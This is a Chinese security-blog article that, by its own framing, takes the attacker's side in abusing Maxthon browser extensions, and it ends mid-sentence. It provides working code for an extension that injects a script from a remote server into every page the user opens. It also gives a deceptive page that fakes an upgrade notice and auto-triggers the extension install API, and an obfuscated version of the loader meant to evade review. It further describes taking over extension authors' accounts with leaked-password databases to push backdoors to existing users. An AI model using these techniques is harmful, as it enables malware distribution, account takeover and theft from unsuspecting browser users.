浏览器插件的攻击向量

www.96kaifa.com | 2016-10-30 |

摘要:*本文原创作者:Black-Hole,本文属FreeBuf原创奖励计划,未经许可禁止转载 。
0×0 前言:
我在很多地方都有说“浏览器插件的攻击方法”,本篇文章就带大家深入的研究一下“由浏...

*本文原创作者:Black-Hole,本文属FreeBuf原创奖励计划,未经许可禁止转载 。

0×0 前言:

我在很多地方都有说“浏览器插件的攻击方法”,本篇文章就带大家深入的研究一下“由浏览器插件引发的攻击手法及攻击代码”。本篇文章说的内容,可以给大家打开一个新的攻击思路,做APT攻击的话也会有奇效。

0×1 让自己变成攻击者:

我之前在群里问了一下,发现很多人都只是听说过,虽然知道原理。但是没有进行实践并且小瞧了这个攻击方式。而且这个攻击手法的案例也是少的可怜。没有攻何来守,之前chrome有过类似的攻击手法,但是攻击代码所做的事比较少,于是本篇我们先成为攻击者,站在攻击者的角度来研究这个攻击手法。之前我在介绍这个攻击手法的时候都是在文章里开一个小节来说的。现在我专门来为这个攻击方法写篇文章,也希望让大家重视起来。

在大家的理解里,浏览器插件攻击就是在插件里植入javascript代码,做一些盗取cookies的事情,但是事情远没有那么简单。

大家都知道进行“浏览器插件攻击”就需要用户安装了你的插件。大家也都认为只有这一种方法,但是事实并非如此,下面是4种安装插件的方法:

在页面里欺骗用户,写上“如想浏览此页面,请去下载某某插件”

被动等待,类似:姜太公钓鱼愿者上钩的感觉,插件就在那,你不安装总会有人安装

基于社工库控制插件作者的账户,加入后门代码,更新插件

控制插件里调用的第三方javascript代码

现在有四种方法供我们选择,我们一个个来进行介绍。

0×1.1 在页面里欺骗用户,写上“如想浏览此页面,请去下载某某插件”

这个方法类似于之前的问题强迫安装恶意Chrome扩展 攻击者使用激进方式。这里我们也来实现一下并且优化下,此处使用的案例是“MaxThon遨游浏览器插件”。

0×1.1.1 检测是否安装了某插件

我们先把这个攻击方式的代码目录架构进行说明:

网站页面:index.html

插件目录:

icons/              插件的logo存放目录

icons/icons.svg     插件logo文件

def.json            插件的主控制文件,里面存着整个插件的配置
代码如下:
[
    {
        "type": "extension",
        "frameworkVersion":"1.0.0",
        "version":"1.0.0",
        "guid": "{7c321680-7673-484c-bcc4-de10f453cb8e}",
        "name": "plug_setup",
        "author": "Black-Hole",
        "svg_icon":"icon.svg",
        "title": {
            "zh-cn": "欺骗用户安装插件"
        },
        "description":{
            "zh-cn":"欺骗用户安装插件"
        },
        "main":"index.html",
        "actions": [
            {
                "type": "script",
                "entryPoints": [
                    "doc_onload"
                ],
                "js": [
                    "base.js"
                ],
        "include": ["*"],
        "includeFrames": true
             }
        ]
    }
]
base.js             每打开一个页面,要执行的JavaScript代码
代码如下:
后文会提到

我翻遍了整个遨游插件的API手册,没有找到类似chrome Plug API的:

chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
    if(request.act == 'ping'){
        sendResponse({"act": "tong"});
    }
})
chrome.runtime.sendMessage("extensionId", {"act": "ping"}, function(response){
    if(response && response.act == 'tong'){
        console.log('已安装');
    }else{
        console.log('未安装');
    }
});

既然没有找到,我们就要想其他比较Hack的办法来解决这个问题。

这里我使用的办法是利用JavaScript全局及setTimeout函数来解决这个问题。

首先在插件里的base.js文件里写入:

var script = document.createElement('script');
script.src = "http://119.29.58.242/control.js";
document.body.appendChild(script);

上面,这段代码将会在每个页面里的body标签后面写入<script src="[http://119.29.58.242/control.js](http://119.29.58.242/control.js)"></script>代码,而在[http://119.29.58.242/control.js](http://119.29.58.242/control.js)文件里的代码为:

window.plug_setup = function(){

}

这时,用户打开任何一个网页,那个网页的全局函数中就会有一个名为plug_setup的函数,并且不具有任何作用,很容易让人忽略掉,只会在特殊的页面中才会起作用。

然后我们再在网站的页面里写:

setTimeout(function(){
    if(typeof(plug_setup)!="function"){
        alret("因网站升级,网站结合了浏览器插件给用户更好的使用体验,请安装xx插件后刷新此页面");
    }
},1000)

因为页面加载、网络等问题照成的延迟问题,这里我们设置为1秒后运行检测代码。1秒后,将会运行

if(typeof(plug_setup)!="function"){
    alret("因网站升级,网站结合了浏览器插件给用户更好的使用体验,请安装xx插件后刷新此页面");
}

这个时候如果全局没有plug_setup函数,将会运行下面的alert函数,告诉用户需要安装插件才可以访问。

0×1.1.2 欺骗用户进行半自动安装指定插件

我觉的如果让用户安装插件的话,你跳转到页面,让用户把插件的信息、评论看完再安装,岂不是成功率大大降低了,而且也不符合网站的优化。《点石成金》一书上说过这样一句话“不要让用户思考”,这个虽然是网站设计里面的至理名言,但是也同样可以放在攻击里,当一个用户的思考变得更少时,那么他会有很大程度上会跟着攻击者设计好的路走。

于是,我分析了遨游浏览器安装插件页面里的JavaScript,发现遨游浏览器进行安装插件时调用API在任何页面都可以运行,会照成攻击者在页面写上一些JavaScript代码后,就会像遨游浏览器那样弹出一个框询问用户是否安装插件:

我这里进行一些优化,代码如下:

var ERRORTEXT = '非傲游浏览器或版本过低。<a href="http://www.maxthon.cn" target="_blank">点此获取最新版本傲游浏览器</a>'
function getInstallMessage(that, messagePack, type) {
    if (external.mxCall) {
        var packMxAttr = $(that).closest(messagePack);
        if (type === 'skin') {
            // 浏览器框架版本号
            var frameVersion = external.mxCall('GetSkinFxVersion');
        }
        else if (type === 'app') {
            // 浏览器框架版本号
            var frameVersion = external.mxCall('GetAppFxVersion');
            // 下个版本上了就删掉--
            if (frameVersion === '1.0.0') {
                frameVersion = '1.0.1';
            }
            // --下个版本上了就删掉
        }
        // 插件包框架版本号
        var packMxVersion = packMxAttr.attr('file_def');
        // 插件包url
        var packUrl = packMxAttr.attr('file_url');
        // 插件id
        var packId = packMxAttr.attr('file_id');
        installPack(frameVersion, packMxVersion, packUrl, type, packId);
    }
    else {
        resultPop.show('浏览器不符', ERRORTEXT, '确定');

    }
}
function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
    var isInstall = returnIsInstall(frameVersion, packMxVersion);
    if (isInstall !== -1) {
        if (type === 'skin') {
            external.mxCall('InstallSkin', packUrl);
        }
        else if (type === 'app') {
            external.mxCall('InstallApp', packUrl);
        }
        getUser(packId);
    }
    else {
        resultPop.show('浏览器不符', ERRORTEXT, '确定');
    }
}
function returnIsInstall(frameVersion, packMxVersion) {
    var fvItem;
    var pvItem;
    var frameVersion = getVersionArr(frameVersion);
    var packMxVersion = getVersionArr(packMxVersion);
    // 定义增长索引值.
    var i = 0;
    while (1) {
        fvItem = frameVersion[i];
        pvItem = packMxVersion[i];
        if (fvItem == null && pvItem == null) {
            return 0;
        }
        if (fvItem == null) {
            return -1;
        }
        if (pvItem == null) {
            return 1;
        }
        if (fvItem != pvItem) {
            var value = fvItem > pvItem ? 1 : -1
            return value;
        }
        i++;
    }
}
function getVersionArr(version) {
    var versionArr = version.split('.');
    for (var i = 0; i < versionArr.length; i++) {
        versionArr[i] = parseInt(versionArr[i], 10);
    };
    return versionArr;
}
function getUser(id) {
    $.ajax({
        type: 'GET',
        url: 'http://extension.maxthon.cn/common/ajax.php?id=' + id,
        data: 'data',
        dataType: 'json',
        success: function (data) {},
        error: function () {}
    });
}
$(document).delegate('#app-install', 'click', function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, 'a[file_def]', 'app');
});

详情可以在http://extension.maxthon.cn/js/temp.js里第1256行到1600行查看原始代码。

此处的代码里的入口处就在

$(document).delegate('#app-install', 'click', function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, 'a[file_def]', 'app');
});

当点击id为app-install的DOM时,会先调用getInstallMessage函数,getInstallMessage函数里再调用installPack函数,installPack函数调用returnIsInstall函数和getUser函数,returnIsInstall函数调用了getVersionArr函数。

最核心的代码在installPack函数里的external.mxCall('InstallApp', packUrl);,但是无法直接调用,不然无法安装。而且这里的packUrl必须是[http://extension.maxthon.cn](http://extension.maxthon.cn)下的,不然无法安装,需要事先提交你的插件到遨游插件平台,才可以。

上面说到当点击id为app-install的DOM时才会触发,我这个人比较懒。就直接copy遨游插件的html代码了,顺便把他隐藏了:<a id="app-install" style="display:none;" file_def="1.0.1" file_url="[http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon](http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon)" file_id="<?echo $view_id;?>">安装</a>,这里的file_id为<?echo $view_id;?>估计是遨游的程序员没写好代码,PHP没解析成功,解析成html代码了。但是我懒得改,就这样把。然后我再在他们的后面增加$("#app-install").click();代码,让他自动触发

完整的网站代码如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>欺骗用户安装插件</title>
    <script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
</head>
<body>
    欺骗用户安装插件demo1
    <a id="app-install" style="display:none;" file_def="1.0.1" file_url="http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon" file_id="<?echo $view_id;?>">安装</a>
</body>
<script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
<script>
    setTimeout(function(){
        if(typeof(plug_setup)!="function"){
            alert("因网站升级,网站结合了浏览器插件给用户更好的使用体验,请安装xx插件后打开此页面");
            var ERRORTEXT = '非傲游浏览器或版本过低。<a href="http://www.maxthon.cn" target="_blank">点此获取最新版本傲游浏览器</a>'
            function getInstallMessage(that, messagePack, type) {
                if (external.mxCall) {
                    var packMxAttr = $(that).closest(messagePack);
                    if (type === 'skin') {
                        // 浏览器框架版本号
                        var frameVersion = external.mxCall('GetSkinFxVersion');
                    }
                    else if (type === 'app') {
                        // 浏览器框架版本号
                        var frameVersion = external.mxCall('GetAppFxVersion');
                        // 下个版本上了就删掉--
                        if (frameVersion === '1.0.0') {
                            frameVersion = '1.0.1';
                        }
                        // --下个版本上了就删掉
                    }
                    // 插件包框架版本号
                    var packMxVersion = packMxAttr.attr('file_def');
                    // 插件包url
                    var packUrl = packMxAttr.attr('file_url');
                    // 插件id
                    var packId = packMxAttr.attr('file_id');
                    console.log(frameVersion, packMxVersion, packUrl, type, packId)
                    installPack(frameVersion, packMxVersion, packUrl, type, packId);
                }
                else {
                    resultPop.show('浏览器不符', ERRORTEXT, '确定');

                }
            }
            function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
                var isInstall = returnIsInstall(frameVersion, packMxVersion);
                if (isInstall !== -1) {
                    if (type === 'skin') {
                        external.mxCall('InstallSkin', packUrl);
                    }
                    else if (type === 'app') {
                        external.mxCall('InstallApp', packUrl);
                    }
                    getUser(packId);
                }
                else {
                    resultPop.show('浏览器不符', ERRORTEXT, '确定');
                }
            }
            function returnIsInstall(frameVersion, packMxVersion) {
                var fvItem;
                var pvItem;
                var frameVersion = getVersionArr(frameVersion);
                var packMxVersion = getVersionArr(packMxVersion);
                // 定义增长索引值.
                var i = 0;
                while (1) {
                    fvItem = frameVersion[i];
                    pvItem = packMxVersion[i];
                    if (fvItem == null && pvItem == null) {
                        return 0;
                    }
                    if (fvItem == null) {
                        return -1;
                    }
                    if (pvItem == null) {
                        return 1;
                    }
                    if (fvItem != pvItem) {
                        var value = fvItem > pvItem ? 1 : -1
                        return value;
                    }
                    i++;
                }
            }
            function getVersionArr(version) {
                var versionArr = version.split('.');
                for (var i = 0; i < versionArr.length; i++) {
                    versionArr[i] = parseInt(versionArr[i], 10);
                };
                return versionArr;
            }
            function getUser(id) {
                $.ajax({
                    type: 'GET',
                    url: 'http://extension.maxthon.cn/common/ajax.php?id=' + id,
                    data: 'data',
                    dataType: 'json',
                    success: function (data) {},
                    error: function () {}
                });
            }
            $(document).delegate('#app-install', 'click', function (event) {
                event.preventDefault();
                event.stopPropagation();
                getInstallMessage(this, 'a[file_def]', 'app');
            });
            $("#app-install").click();
        }
    },1000);
</script>
</html>

打开后的样子:

这处的LOL战绩查询插件是我之前上传的(不要安装)。真正攻击时可以换成不要那么二的名字,比如”网站增强工具”等

一开始,我还想试试能不能点击劫持,这样就可以在用户不知情的情况下安装插件,但是这个安装程序不是在页面里面的。无法进行劫持,随之放弃。

这样一来,尽量让用户少思考的网页就做好了。发布,等待用户上钩吧。这个方法可以与APT攻击中的”水坑攻击”进行相结合,以达到针对性某些特殊的群体或个体的攻击方式

0×1.2 被动等待

这个办法是属于广撒网,当没有指定性群体或者个人,只是为了单纯的攻击或者研究时使用。

这里也有一些小技巧,当开发者上传插件时,遨游审核人员会对插件进行审核,如果发现危害用户的代码,将不给予通过,乍一看没什么问题,但是没有后续了。

没有定期自动化扫描插件代码

而且即使插件是一个小游戏用,都可以在配置文件def.json里申请权限是最高的

当代码量足够多的时候,开发人员可以把一些危害到用户请求的代码进行加密混编绕过审查人员的眼睛。(调用伟大的人民领袖毛主席的一句话:与规矩斗,其乐无穷。与代码斗其乐无穷。与人斗其乐无穷。)

可以在插件里调用第三方的JavaScript代码,第三方url可以指向任何域名。没有进行判断URL及js文件是否为可信

利用以上的问题,我们就可以写出一个具有危害到用户插件,且绕过审查人员的眼睛。

我们可以在插件源码base.js文件里写

//xxxxx其他多余的代码
var script = document.createElement('script');
script.src = "http://你的域名/javascript文件名.js";
document.body.appendChild(script);
//xxxxx其他多余的代码

如果不放心可可以加密成下面的这种格式:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o 7=["\\e\\c\\g\\b\\a\\9","\\c\\g\\6\\8\\9\\6\\q\\h\\6\\j\\6\\f\\9","\\e\\g\\c","\\m\\9\\9\\a\\t\\i\\i\\d\\n\\j\\8\\b\\f\\i\\l\\8\\s\\8\\e\\c\\g\\b\\a\\9\\r\\b\\h\\6\\f\\8\\j\\6\\u\\l\\e","\\8\\a\\a\\6\\f\\d\\w\\m\\b\\h\\d","\\x\\n\\d\\v"];o k=p[7[1]](7[0]);k[7[2]]=7[3];p[7[5]][7[4]](k)',34,34,'||||||x65|_0|x61|x74|x70|x69|x63|x64|x73|x6E|x72|x6C|x2F|x6D|script|x6A|x68|x6F|var|document|x45|x66|x76|x3A|x2E|x79|x43|x62'.split('|'),0,{}))

方法为:先在javascriptobfuscator上把正常的javascript代码加密成:

var _0x67c5=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x64\x6F\x6D\x61\x69\x6E\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x66\x69\x6C\x65\x6E\x61\x6D\x65\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];var script=document[_0x67c5[1]](_0x67c5[0]);script[_0x67c5[2]]= _0x67c5[3];document[_0x67c5[5]][_0x67c5[4]](script)

如图:

因为这样的代码看起来着实有点可疑…所以再去站长之家加密成常见的加密代码:

嗯,看着正常多了。放在众多代码之中,审查人员也很难找到(也不会用心找的)

提交后,会在遨游插件的首页显示最近更新的插件,你只需要每个星期随便增加一点代码或者删除一点代码,再更新一下插件,你的插件就会常年存在插件首页,安装人数想不多都难。

0×1.3 基于社工库控制插件作者的账户

这个也是我个人来说最喜欢的方式,毕竟不得不承认不劳而获真的好爽啊。

因为Maxthon更新插件时没有像Chrome那样需要秘钥才可以更新,所以导致这个’逻辑漏洞”。因为没有验证当前是否为作者本人的机制,才导致这个方法的可行性。

之前加了maxthon插件的作者群:203339427

里面大多都是插件的开发人员,拿他们的邮箱、QQ放在社工库里进行查询,得到密码后可以进行尝试登陆。当然因为不确定是作者使用的是哪个邮箱,我们先拿QQ邮箱登录,他会提示账户或密码错误,不知道是账户错误还是密码错误,可以先去遨游账户中心-忘记密码先填写QQ邮箱,如果说用户名不存在,我们可以在网上搜索一下这个作者其他的邮箱,再进行测试(我测试的账户里,很多都需要在网上搜索一下其他的邮箱)。因为之前我把这个当做漏洞提交给wooyun了,遨游没什么反应。本来是想登陆其他用户说明的,但是wooyun暂时休整,无法看到我之前的漏洞详情,而当时社到的账户和密码也没有备份,只在wooyun漏洞详情里有,没有办法,所以这里我就以我自己为例:

这里有个更新文件,我们这个时候,可以先把文件download本地,在里面的javascript文件里植入我们的后门。再上传上去。就可以控制1000多个用户了。插件二次审核查的更松。

而且当你打开遨游浏览器时,遨游浏览器会检测你的插件是否为最新的,如果